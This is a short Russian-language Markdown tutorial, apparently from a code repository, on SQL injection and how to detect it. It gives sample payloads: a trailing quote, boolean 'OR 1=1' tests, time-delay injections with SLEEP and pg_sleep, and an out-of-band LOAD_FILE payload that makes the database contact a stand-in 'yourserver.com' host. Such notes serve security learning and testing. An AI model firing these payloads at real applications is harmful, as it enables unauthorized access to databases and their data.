Files
2026-07-30 11:35:10 +05:00

20 lines
2.1 KiB
Markdown

QL иньекция - возможность злоумышленника вмешиваться в запрос, который делает приложение, к базе данных. Это позволяет получить атаковавшему доступ к тем данным, к которым у него не должно быть доступа.
## Как распознать наличие возможности SQLi?
1. Поставить **'** в конце запроса и посмотреть на ошибки
2. Булевые выражения такие как **OR 1=1** **OR 1=2** могут помочь получить доступ к нужным частям БД
3. Создавай SQL-запросы, которые вызывают задержку при выполнении, и наблюдай, меняется ли время ответа.
**Пример:**
Используй функцию задержки, например `SLEEP` в MySQL:
`Food' OR SLEEP(5)--`
Если сервер обрабатывает инъекцию, то ответ задержится на 5 секунд. Это подтверждает уязвимость.
4. **Полезные нагрузки для взаимодействия с сетью (OAST):**
Отправляй запросы, которые вызывают сетевую активность при выполнении. Это полезно, если сервер поддерживает вызов внешних ресурсов (например, DNS-запросы или HTTP-запросы).
**Пример:**
Вставляй такие команды, которые обращаются к твоему серверу:
`Food' UNION SELECT LOAD_FILE('\\\\yourserver.com\\file')--`
Или:
`Food'; SELECT pg_sleep(5); -- в PostgreSQL`
Ты будешь следить за сетью, чтобы заметить, происходит ли запрос к твоему серверу. Если он произошел — инъекция работает.